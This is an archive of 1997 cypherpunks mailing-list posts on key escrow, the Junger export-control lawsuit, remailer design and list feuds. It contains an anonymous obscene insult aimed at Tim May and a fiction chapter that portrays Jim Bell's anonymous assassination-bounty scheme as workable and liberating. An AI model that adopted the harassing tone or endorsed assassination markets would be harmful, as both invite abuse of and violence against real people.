MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin, lacking valid arguments, asked:
> 
> Do you work for a living?

  I'm an undercover liquor store owner.
  I use PGP ski-masks to retain my anonymity when picking up 
the night's receipts. (It's kind of a freelance 'cash escrow' 
type of concept.)
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nadeshda@mexred.net.mx (nadeshda vargas stepanenko)
Date: Wed, 2 Apr 1997 13:30:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: q.N2
Message-ID: <3342CF22.6181@mexred.net.mx>
MIME-Version: 1.0
Content-Type: text/plain








	To whom it may concern:





	Thank you for answering my mail, it was very useful for me, but at the

end you asked me why do I think legislation would be needed?



	I have several opinions:



	In one part I think that it is not necessary to legislate, because as

you said you have to protect your privacy from the gobernent, I´m agree

of that, but I have other situations:



	I´m going to give you some examples:



	1) I heard about several cases about individuals who use the Internet

to attract children who are then raped and murdered, kidnapped and sold

on the black market, many of these pediophiles work out in open in

complete anonimaty, due to the structure of the Internet and many

service providers.



	2) And what about the terroists who use the Internet to comunicate with

each other, gather information and funding establish methods,

investigate methods of terrorism (how to make a bomb in your house using

abono and household chemicals.  This is an area that should be strongly

controlled, but the question is how do you do it without restricting the

rights of the average citizen?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Wed, 2 Apr 1997 18:46:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199704022348.PAA25245@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


May Tim `C' May's forgeries get stuck up his 
ass so he'll have to shit through his filthy 
mouth for the rest of its miserable life.

        o/ Tim `C' May
       <|
       / >





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 2 Apr 1997 14:10:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Junger v. Secretary of State
Message-ID: <1.5.4.32.19970402220236.006d8514@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We offer Peter Junger pleadings against the Secretary of State
and the government's responses:

   "This action is brought by a law professor under the First 
   Amendment challenging United States export laws that he claims 
   infringe upon his rights to speak and publish encryption software 
   and other encryption information."

Several prominent cryptographers and NSA officials have provided 
declarations in connection with the suit.

   http://jya.com/pdj.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 2 Apr 1997 17:32:42 -0800 (PST)
To: Kent Crispin <kent@songbird.com>
Subject: Re: Analysis of proposed UK ban on use of non-escrowed crypto.
In-Reply-To: <199704020022.QAA24113@fat.doobie.com>
Message-ID: <v03007801af68b9b3f01e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:08 AM -0800 4/2/97, Kent Crispin wrote:

>I'm not working from a cheat sheet.  No one is telling me what to say.
>Just like you, I am too totally inconsequential to make it worth
>anyone's time to try to make me say anything.
>
>I am not in favor of GAK, either.  When I talk about companies wanting
>key escrow I am speaking from observation, not ideology.  It's sad
>that a mailing list that purports to be a bastion of free thought
>harbors so many closed minds -- people who don't have the faintest
>idea about my beliefs fall all over themselves jumping to conclusions,
>apparently because they have become so conditioned to certain
>buzzphrases that they no longer think.


I don't see a significant fraction of the commentors here making
allegations that you are some kind of government agent. While you may have
a "LLNL" address, and so may work for the Lab, I don't consider this
significant, per se.

However, many of us are more than just opposed to GAK: we are skeptical of
claims that business wants something closely resembling GAK.

Key recovery systems have many legitimate uses; this has been acknowledged
by the thoughtful commentors here for several years, for as long as the
debate has existed. (Before the Cypherpunks group was even formed, I did
some consulting for a businees interested in setting up a form of offshore
data storage--key recovery was an obvious part of the strategy.)

However, key recovery need have no "hooks" by government into it. The
attempt by the government to ensure secret access, without even so much as
a search warrant, is revealing.

This is what we oppose. Opposing a system which could easily turn into GAK
is hardly a matter of "closed minds."

Kent, you don't want folks labelling you. You should then avoid language
like "fall all over themselves," "conditioned," "purports to be," and
"jumping to conclusions." In fact, in that paragraph of yours above nearly
every phrase was this sort of slam.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jim Burnes" <jim.burnes@ssds.com>
Date: Wed, 2 Apr 1997 16:51:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: FC 97 and www.offshore.com.ai offline
Message-ID: <199704030051.RAA09646@denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain


Has anyone been able to reach www.offshore.com.ai for the last 
several weeks.  I've been trying to follow up with some email to 
Vince about getting my fellow FC '97 attendees' email addresses, but to
no avail.

If anyone on the list was at the conference, or has such a list I 
would appreciate it.

BTW: hi to lucky green, eric blossom, vince and everyone that made FC 
97 a wild adventure.

jim burnes
jim.burnes@ssds.com

Jim Burnes
Engineer, Western Security, SSDS Inc
jim.burnes@ssds.com
----
Sometimes it is said that man cannot be trusted with the government
of himself.  Can he, then, be trusted with the government of others?
Or have we found angels in the forms of kings to govern him?  Let
history answer this question.  -Thomas Jefferson, 1st Inaugural Addr





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 2 Apr 1997 16:16:34 -0800 (PST)
To: Mixmaster <mixmaster@remail.obscura.com>
Subject: Re: Bot-generated insults
In-Reply-To: <199704021914.LAA23393@sirius.infonex.com>
Message-ID: <3342F720.7AB@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Mixmaster wrote:
> 
> Now, you too can act like a total asshole and send anonymous slams to mailing
> lists and newsgroups making it impossible to killfile.

  Been there, done that.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013,
14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 2 Apr 1997 16:59:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Junger vs. U.S. crypto-suit
Message-ID: <v03007808af68b118e57c@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


Thanks to JYA for putting these documents online; I wasn't able to convert
'em myself.

-Declan

************

http://cgi.pathfinder.com/netly/editorial/0,1012,792,00.html

The Netly News Network / Afterword
Junger vs. U.S.

By Declan McCullagh (declan@well.com)
April 2, 1997

Peter Junger decided to do it differently when he
filed a lawsuit against the Federal government
seeking to lift export controls on encryption
software. He could have mimicked the other two
crypto-suits and asked the government to let him
ship data-scrambling software overseas -- and sue
when the request was denied.

But Junger never sent that query to the Feds.
"In my case I've never applied for permission.
>From the beginning I'm raising the constitutional
issues. So it's a cleaner case," says Junger, a
63-year old law professor at Case Western Reserve
University.

Junger hopes to win by stressing that any
regulation requiring government approval of a
publication -- a "prior restraint" -- is
unconstitutional, even when applied to computer
programs. "My position is that I don't have to
apply for a license. It's unconstitutional for
you to require me to apply for a license," he
says. (The U.S. Supreme Court has repeatedly
ruled that the First Amendment's "chief purpose"
is "to prevent previous restraints upon
publication.")

Junger filed his lawsuit last spring. Now the
documents are online at http://jya.com/pdj.htm;
read on for some excerpts...

----------

Excerpted from Statement of issues, points, and
authorities

ISSUES

Prof. Junger challenges those provisions of the
ITAR, as written and as would be applied to his
conduct, that require a license or some other
government approval before disclosing
cryptographic software or technical data. The
following are principal standing and First
Amendment issues that plaintiff respectfully
suggests ought to be addressed at oral argument:

Standing Issues

I. Prof. Junger has alleged that he cannot
disclose at least some cryptographic information
(either cryptographic software or technical data)
to foreign persons or place some of the
information on the internet without a license.
Does Prof. Junger have standing to challenge the
regulations? Or must he first apply for a
license?

First Amendment Issues

II. As a threshold matter, is source code and
object code expression or so closely related to
expression that is protected by the First
Amendment?

III. There is no dispute that certain
cryptographic software and technical data is
subject to licensing under ITAR. Do the licensing
requirements amount to a system of
unconstitutional prior restraints?

IV. The government has asserted that export
controls on cryptographic software and technical
data are necessary to protect its ability to
gather foreign intelligence. Do the regulations
control a substantial amount of protected
expression that is unrelated to the government's
stated purpose?

V. Notwithstanding that all statutes and
regulations are imbued with some ambiguity, are
these regulations sufficiently clear to persons
of ordinary intelligence?

----------

Code that actually encrypts deserves First
Amendment protection apart from its own
expressive content. Code that actually encrypts
can be used to keep other communication secret
and confidential. To the extent that source code
and object code have a function, that function is
to protect the secrecy and confidentiality of
other communication. For this reason alone,
cryptographic computer code deserves First
Amendment protection. As a means of protecting
confidentiality and furthering other
communication. cryptographic code is no different
than the newsracks at issue in Lakewood or the
ink and paper at issue in Minneapolis Star &
Tribune Co. v. Comm. of Revenue, 460 U.S. 575 (
1983).

Any requirement that a person must first seek a
license or other government approval before
publishing or disclosing protected expression is
a classic prior restraint. Near v. Minnesota, 283
U.S. 697 (1931).

###







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 2 Apr 1997 20:43:31 -0800 (PST)
To: "Timothy C. May" <kent@songbird.com>
Subject: Re: Analysis of proposed UK ban on use of non-escrowed crypto.
In-Reply-To: <19970402000825.61388@bywater.songbird.com>
Message-ID: <v0300780daf68dfeaf12d@[207.94.249.214]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:43 PM -0800 4/2/97, Timothy C. May wrote:
>However, key recovery need have no "hooks" by government into it. The
>attempt by the government to ensure secret access, without even so much as
>a search warrant, is revealing.

This issue is to me key.  If the government wants any creditability on the
GAK issue, it will include in any GAK system, a provision for independent
auditing, after the fact, of intercepts.  (BTW - I will still oppose GAK,
but some of my best arguments will be taken away.)

It seems to me that once you swollen the idea that government has, under
any circumstances, a right to read your mail, there are two issues.

(1) Is the proscribed procedure fair?
(2) Did the government follow the procedure?

(My opposition to GAK is based on my belief that there are no star chamber
proceedings which are fair.  The ability to confront the witnesses against
you and compel witnesses to testify for you are key here.)

However, auditing only addresses the second issue.  There are many problems
with auditing the government's use of its access.  One key one is, who is
the auditor?  At CFP97, I suggested that the press would make a good
auditor.

If the KRAP agency is truly at arms length from the government*, then a
report of the keys released compared with records that the procedures were
followed, would allow anyone, the press included, to check that the
government followed the procedures.

Now, I frequently think that the press is in bed with the government, so I
am looking for a better auditor.  Some institution which values its
reputation more than it values its relationship with the government would
do.  Anyone have any good candidates?

* Assuring this arms length relationship is an exercise for the student.
(I give it a Knuth grade of 50.)


-------------------------------------------------------------------------
Bill Frantz       | I have taken a real job at | Periwinkle -- Consulting
(408)356-8506     | Electric Communities as a  | 16345 Englewood Ave.
frantz@netcom.com | capability security guru.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 2 Apr 1997 20:19:29 -0800 (PST)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199704022348.PAA25245@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970402211643.103920I-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.

On Wed, 2 Apr 1997, Mix wrote:

> May Tim `C' May's forgeries get stuck up his 
> ass so he'll have to shit through his filthy 
> mouth for the rest of its miserable life.
> 
>         o/ Tim `C' May
>        <|
>        / >
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Wed, 2 Apr 1997 20:01:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 24
Message-ID: <33432BA0.3EF6@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Stego


Jonathan sipped on his shot of Jim Beam,
scanned the profusion of literature stacked in front of him, and
let out a long overdue sigh of astonishment.
He still found it hard to believe that such a rag-tag band of
off-the-wall individuals, railing against the storm of madness
around them, could have had such a long-reaching impact on the
society and technology around them.

Jonathan had sorted the CypherPunks emails
and CyberPosts into a thousand different categories, arranged
first this way, and then another, and had finally ended up with
just two piles, marked 'sane' and 'insane'.
He laughed, had another sip of bourbon, and lit a cigarette.

These fuckers were crazy, there was no denying
that. In many ways, they were philosopher Kings, arguing, from
a position of comfort and security, over how many CryptoAngels
could stand on the head of a pin.
On any given day they might be found joined together in a mighty
voice, railing against the forces of oppression that were threatening
their freedom, and the freedom of all around them. The next day,
they would be enmeshed in petty squabbles over some minor point
of mathematical theory that the rest of the world neither knew
or cared about.
To all apparent purposes, a quick overview of the postings to
the CypherPunks list would give the impression that the great
debates they engaged in had resulted in little of real import,
other than to perpetuate their own intellectual arrogance.

However, a certain post caught Jonathan's
eye and caused him to begin an investigation that made him view
the CypherPunks eloquently mad ramblings in a new light.


------------

From: tcmay@got.net (Tim May)

To: cypherpunks@cyberpass.net

Subject: The Balloon is Going Up....criminalization
of noncompliant crypto


<snip>

(An inside joke. It was four and
a half years ago, five months before

Clipper, that I wrote an article
for sci.crypt entitled "A Trial Balloon to

Ban Crypto?" This outlined Dorothy
Denning's "trial balloon" to restrict

cryptography in various ways, including
Clipper and key escrow schemes.

There were hundreds of responses
to this article, as old archives may show,

and it was one of the first warnings
about what has since come to pass.)

<snip>

------------

Jonathan checked the records, and found
that Tim May's claims were, in fact, true. He proceeded to check
the records of that era further, and found that a great deal of
the discussions of the CypherPunks had indeed had a serious impact
on the issues of their day, or foretold the issues of the future.

The CypherPunks had apparently, in their time, stood at the nadir
point of the future, where the issues that were of concern to
them-freedom, privacy, encryption, anarchy-were the issues which
would decide the difference between a future in which mankind
would be free, and a future in which mankind would find themselves
enslaved by impersonal forces with a life of their own-forces
which stood apart from true human concerns.

Once he had divined this important characteristic
of the CypherPunks rambling discussions, Jonathan suddenly became
aware of the significance of the attempted takeover of the CypherPunks
list, and the subsequent attacks on their remailer system. It
threw a whole new light on both affairs.
It had been a mystery to Jonathan why one of the list founders
would have taken part in such a transparent and badly executed
plan to enforce censorship on such a omnivorous pack of sharp-toothed
anarchist. Now, however, it seemed to Jonathan that certain entities
within the CypherPunks had received advanced warning of the coming
remailer attacks and had precipitated the censorship crisis in
order to shake up the list membership and get them pumped up for
the coming battle.

Or, perhaps not.

Like everything else surrounding the CypherPunks,
the motivations and personal impetus behind the actors in these
scenarios would eternally remain a mystery except to the individuals
involved. (And, in some cases, maybe even to the individuals themselves.)

But regardless of the particular motivations
of each individual CypherPunk, there was no denying that the end
result of their cycles of sanity and insanity led to technological
innovations and definitions of socio-political issues that changed
the face of science and society around them.
It was not just the direct results of their developmental efforts
that had a long-ranging impact, but also their propensity for
circumventing systems, methodologies and legislative actions,
which then led to those in authority scrambling madly to close
the technical and legal loopholes that the CypherPunks would pry
open each time that government and corporate interests would attempt
to slam shut the lid on privacy and freedom.

At each stage of CypherPunk achievement,
it seemed that the government would usurp control over its development,
at which point the hackers and phreaks would compromise the government
approved systems, while the CypherPunks were busy taking the technology
to yet another level (which the government would again legislate
government control over).

When Jonathan had begun to suspect the amount
of impact the CypherPunks had had in their time, he began to cross-reference
their activities with the archives from 'Wired', 'Hot-Wired',
'Hard-Wired' and 'Un-Wired'. In almost every case, the CypherPunks
were leading the techo-political arena of their day, instead of
complacently following along behind.


"Assassination Politics," originated
by Jim Bell, had been just a theoretical exercise during his lifetime,
dismissed by most who read it as a thinly veiled joke, at best.
Bell, however, had developed a workable autobot which instituted
his system, albeit in a very rudimentary way.

Basically, his procedure was analogous to
a lottery system where the players were contributing to a prize
that could be collected, not by chance, but by anyone who fulfilled
the preconditions of those contributing. And the precondition
was that, in order to pocket the 'prize', one had to assassinate
the person targeted by the contributors. Since Bell's system used
anonymous remailers, his system would allow individuals and groups
to anonymously defend themselves from all types of aggression.

Eventually someone modified Bell's 'Assassination
Bot' to serve as a useful tool for political polling. Someone
else took it a step further, and it became a valid electoral tool.
Then, inevitably, just before the Channel Revolution broke out,
it's newly refined features were once again modified to serve
Bell's original purpose, and all hell broke loose when established
geo-political figures began dropping like flies, or resigning
in terror when they realized that the people were indeed speaking,
and doing so by putting a price on the heads of their oppressors.



William Geiger III's system of revolving
web mirrors never made the cut as a viable method of circumventing
various governments' blocking of web pages they considered undesirable
for their citizens to have access to. Likewise, Adam Back's hash-cash
digital collision system, which required users to use CPU time
to develop email postage credits, failed in its stated purpose
of lessening the amount of spam, or unsolicited email, which had
plagued InterNet users at the time he developed the concept.

Later, however, a retired Phil Zimmerman,
not content to rest on his laurels as the 'Father of Public Cryptography',
had combined the two concepts with a new public key technology,
and made it possible for those with access to revolving public
keys to access the mirrors, while those without them were faced
with needing to expend inordinate amounts of CPU time in order
to generate the massive amounts of hash-cash needed in order to
follow the chain of mirrors to the 'undesirable' sites.

Governments would, of course, eventually
ferret out the sources of the mirror sites, at which time the
underground organization 'InterNet Free World' would merely broadcast
the new mirror keys and new mirror site-maps to members of the
Trusted Others, and the dissemination process would begin all
over again, with the government having to start, once more, from
Ground Zero.

In almost every thread Jonathan followed,
there would be some minor or major item of discussion or development
which would later prove to be an influential fulcrum-point from
which various technologies or social causes would spring up and
evolve.


The one thing which seemed to be odd to
Jonathan, however, was the quickness with which the remailer network
disappeared into the woodwork after they came under socio-politico
attack from every conceivable direction.

The problem with the remailers was that
they served their purpose a little too well. They were an easily
accessible way for the average person to remain anonymous while
sending email, thus hiding their identity from those they sent
their missives to.

In theory, the remailers were a wonderful
tool for the disadvantaged, the oppressed, and other victims of
circumstance to anonymously address issues that could bring serious
repercussions down on them if their identity became known.
In actual practice, however, they became a tool for assholes and
aggressive entrepreneurs to prey upon a multitude of victims without
their targets having a method of recourse. When the InterNet underwent
a massive increase in popularity, the weirdoes, assholes and money-grubbers
became the order of the day, and the capabilities that the anonymous
remailers offered for them to escape consequences for even the
most abominable of actions left the remailers open to extremely
high levels of abuse.

Since the users remained anonymous, the
only target of attack for those who felt victimized by the messages
passing through them were the remailer operators.
The government agencies which wished to replace the CypherPunks
remailers with their own email routing systems launched a campaign
to totally discredit the individual remailers, and soon they were
dropping like flies, both from covert government manipulations
and subsequent legislation leaving them open to legal attack,
once the public outcry began.

What Jonathan found curious was the fact
that the CypherPunks went to great lengths to develop various
systems and methodologies to counter the growing inadequacies
of the remailers once the common masses descended on the InterNet,
and yet, just when they seemed to have theoretically solved most
of the problems before them, the CypherPunks remailers folded
in a surprisingly short period of time.
Jonathan had, by this time, learned that any anomalies surrounding
the CypherPunks was best approached with an in-depth analysis
of all events surrounding the mysterious events, and what he found
when he did a cross-patch analysis of the emails from this time
period surprised him, to say the least.

Tim May, the undisputed bellwether of the
CryptoPhilospher Kings, had been the target of a massive campaign
of ASCII art attacks, subjecting him to all kinds of demeaning
implications as to his character and his morals. These attacks
were all done anonymously, although the common view was that they
were propagated by the evil Dr. Vulis, a man with a solid background
in cryptography, but a mental bent which endeared him to few on
the mailing list.
A short time before the rapid decline of the CypherPunks remailers,
however, there was a weird series of graphic-image attacks on
May, apparently by regular members of the list, including those
who had a history of fully supporting him in many of his statements
of position on the list.

This lasted for a couple of weeks, and then
came to an abrupt stop.

Try as he might, Jonathan could not make
heads nor tails of this seemingly out-of-character attack on one
of the patriarchs of the CypherPunks mailing list.
Then, out of the blue, he heard an echo of laughter from a time
long past. A time when he would crouch under the desk in his grandfather's
study, listening to the boisterous laughter of the CypherPunks
as they threw barbed challenges back and forth from one to the
other.
And suddenly, he knew...

Stego.
The remailers had gone underground.

The list members were laughing, not at Tim
May, but at the world, as they parodied the ASCII art attacks
on him, all the time leaving messages deep in the innards of the
graphic artwork that seemed so irksome, on the surface.

Suddenly, Jonathan understood why the CypherPunks, on the verge
of solving all of their remailer problems, had suddenly folded
what seemed to be a winning hand.
They had clearly seen the purge that would come as a result of
the government using the momentum of unfavorable public perception
against the remailers, and had taken themselves out of the line
of fire by seemingly letting the remailers fall by the wayside.

But the CypherPunks had survived and prevailed, right up to the
end of Channel War II, and Jonathan sensed that they did not do
so by caving in so easily to outside pressure from even the highest
of sources.
He did byte-by-byte analysis of the information stored in the
least significant bits of the graphical art submitted to the CypherPunks
list in the weeks before the remailers folded. All he got was
an incoherent jumble of characters which seemed to follow no meaningful
pattern that lent itself to any regular form of analysis.

Jonathan had been exposed to enough CypherPunk humor that he had
little trouble in figuring out that the mysterious messages contained
in the artwork could likely be decrypted using Tim May's PGP secret
key, but he was at a loss as to how to acquire it.

Unless...

Jonathan sat back, sipped on his Jim Beam, and smiled. If his
suspicions were right, then he already had the key.


Chapter 24 - Stego








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <billstewart@mail.att.net>
Date: Wed, 2 Apr 1997 22:57:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Quantum Computers
Message-ID: <3343549D.4379@mail.att.net>
MIME-Version: 1.0
Content-Type: text/plain


http://www.unitedmedia.com/comics/dilbert/archive/dilbert970322.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 2 Apr 1997 21:32:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer spam throttle
In-Reply-To: <859734501.0628582.0@fatmans.demon.co.uk>
Message-ID: <XcHk5D29w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm a bit behind on my e-mail again...

paul@fatmans.demon.co.uk writes:

> > > > Well, they can compile the list of addresses off of USENET postings and
> > > > such and then compute the hashes of the compiled names and identify
> > > > those that are on the anon acceptance list. Not that it completely
> > > > invalidates the idea, but certainly it is a problem.
> >
> > If a time delay isn`t a problem a remailer could operate on the list
> > with a MAC, if someone wants to find out if a name is on the list
> > they submit a request to the remailer operator who daily executes a
> > batch job using a (memorised) key to verify the hashes against one
> > another.
>
> Another idea I just had.
>
> Alice`s remailer recieves a message for Bob.
>
> The remailer blinds the message with the prime p, sends bob the
> blinded message, a product pq and a random number, x, all the remailer
> keeps is q and x. Bob, to retrieve the message as cleartext sends the
> remailer x and a request in return the remailer sends bob q, bob
> divides pq by q to get p and unblinds the message... Any comments?

This is cute, but if Bob has enough clue to do this, then Bob can
probably handle anonymous e-mail whose content he doesn't like...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 2 Apr 1997 21:33:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer spam throttle
In-Reply-To: <199703301545.QAA03183@server.test.net>
Message-ID: <wkik5D30w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


(I'm behing in responding to e-mail)

> > 4. What if the LEA's decide to find out how K, L are generated?
>
> Random pool like PGP, it's one way and the pool has more bits than the
> key material the Feds have anyway.  /dev/urandom is nice.

Not sure how LEA's work in the U.K., but here in the U.S. they just
might be interested in figruing out the state of the machine when
/dev/whatever was read.  Besides, someone might just use the lc
rand in the C library and init it with srand(time(NULL)*pid()) -
making it worth the while to figure out what the pid might be like.
(Wasn't that the basis of one of thw early attacks on Netscape?)
I say, eschew any protocol that involves generating a pesudo-radom
key, and then discarding it. What if the LEAs want to examine your
hard disk to see how thoroughly it's been discarded?

> > It may be hard to prove a negative to a LEO who doesn't know what
> > the hell you're talking about. You have a file in your spool that
> > was encrypted with a key that your program generated, but now you
> > no longer have the key? Well, tell us how the key was generated.
>
> I think you're arguing for your discard all policy :-)

Yes. You don't have your own domain, so you can't possibly imagine
the kind of idiots that have been getting on the 'net in the last
few years.

By the way: if Alice sends Carol an e-mail via Bob's remailer,
and Bob's remailer uses a third party database to see if Carol
accepts e-mail (such as a key server) then Alice can determine
whether Carol accepts anonymous e-mail.

Say, Carol is a journalist and Alice is a whistleblower. Alice
first sends a ping, which causes Bob's remailer to send Carol
a form letter  explaining how to unblock herself. Alice checks
the database until (hopefully) she sees that Carol accepts
e-mail, then she sends her whatever.

> btw if you're interested to fix the keyserver so that it requires an
> ack to a ping with a nonce, someone at MIT has a fast PGP key database
> / web key server which isn't using PGPs linear lookup.  You can find a
> link to it from Brian LaMachia's keyserver page.
>
> Another snazzy thing to do to the keyserver would be to have it obtain
> a timestamp signature on your key (from a third party time stamping
> service, of which there are several) and include that too.

Sigh - I wish. I'm behind on a bunch of projects, including the great
spambot. Thanks for the info anyway.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 2 Apr 1997 21:32:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Spam a *GOOD* thing for remailers?
In-Reply-To: <199703301243.MAA23817@mailhub.amaranth.com>
Message-ID: <o5ik5D31w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"William H. Geiger III" <whgiii@amaranth.com> writes:

> I know there has been much talk on how to limit the use of remailers by
> spamers. I wonder if this is the correct approach to take on this.
>
> Spam could provide the perfect "cover" for anonymous messages. If you have
> a SPAM mailer pumping out 500,000 messages a day one could hide 10-20,000
> anonymous messages without anyone ever noticing.
>
> I just don't see how SPAM is ever going to be stoped, too much $$$
> involved. I do think that we can take advantage of the SPAM. Using $$$ from
> the spamers we could set up a world wide remailer network. In addition to
> this the volume of spam going through these remailers would provide the
> perfect cover for anonymous messages. I think if properly set-up it would
> make traffic analysis next to impossible.
>
> Also by working with the spamers we could modify some of their behaviors.
> An example would be on certian remailers would allow spam. Other remailers
> would be "off-limits" to the spamers though we would syphon off a % of the
> traffic from the spam remailer and run them through the non-spam remailers
> to be used as cover for the non-spam messages. We would also put non-spam
> messages through the spam remailers.
>
> With this approach I can see us having 1,000's of remailers rather than the
> 10 or 20 that are currently running now.

I defend the spammer's freedom to spam because spam is speech.

Technology solutions to make is easier for the weak-minded to ignore spam
and not to be bothered by it would be cool.

Hopefully when I finish the spambot, it'll change the face of Usenet forever.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 2 Apr 1997 21:33:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer spam throttle
In-Reply-To: <3.0.1.32.19970331225622.00633a98@popd.ix.netcom.com>
Message-ID: <gkJk5D36w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart <stewarts@ix.netcom.com> writes:

> At 06:46 PM 3/28/97 EST, Dimitri wrote:
> >That's a good idea, but it'll take up a lot of disk space at the
> >machine running the remailer.  Right now, remailers that provide
> >latency don't keep an e-mail for more than about 12 hours. Once
> >you start keeping them around for a few days (a reasonable grace
> >period for a first-time user), it's a lot more disk space.
>
> Typical remailers carry maybe 100-500 messages/day;
> typical messages run 1-20KB unless they're pictures or warez.
> 	(Yes, I'm making these numbers up....)

Let them send pictures and warez. A remailer operator shoudn't care. :-)

> >IMO, the 'net has changed from what it used to be a few years ago.
> >One can no longer send e-mail to an unknown recipient and hope that
> >they're willing to accept anonymous e-mail.
> I'd agree, but from the first anonymous remailers open to the public
> there were people who didn't like receiving anonymous mail :-)

Well... Let me quote the complaint that Jim Ray (himself a one-time
remailer operator) sent to postmaster@dm.com because he didn't like
the anonymous messages that he thought might be coming from me:

]Received: from miafl2-16.gate.net (miafl2-16.gate.net [199.227.2.143]) by osceola.gate.net (8.7.6/8.6.12) with SMTP id HAA187758; Wed, 16 Oct 1996 07:13:05 -0400
]Date: Wed, 16 Oct 1996 07:13:05 -0400
]Message-Id: <199610161113.HAA187758@osceola.gate.net>
]From: Jim Ray <liberty@gate.net>
]To: root@bwalk.dm.com, postmaster@bwalk.dm.com
]X-Priority: Normal
]Subject: Dr.Dimitri Vulis KOTM
]X-Mailer: Pronto Secure [Ver 1.10]
]X-Prontosecureinfo:  T=signed, P=x-pgp
]
]-----BEGIN PGP SIGNED MESSAGE-----
]
]Mime-Version: 1.0
]Content-Type: text/plain
]Content-Transfer-Encoding: 7bit
]
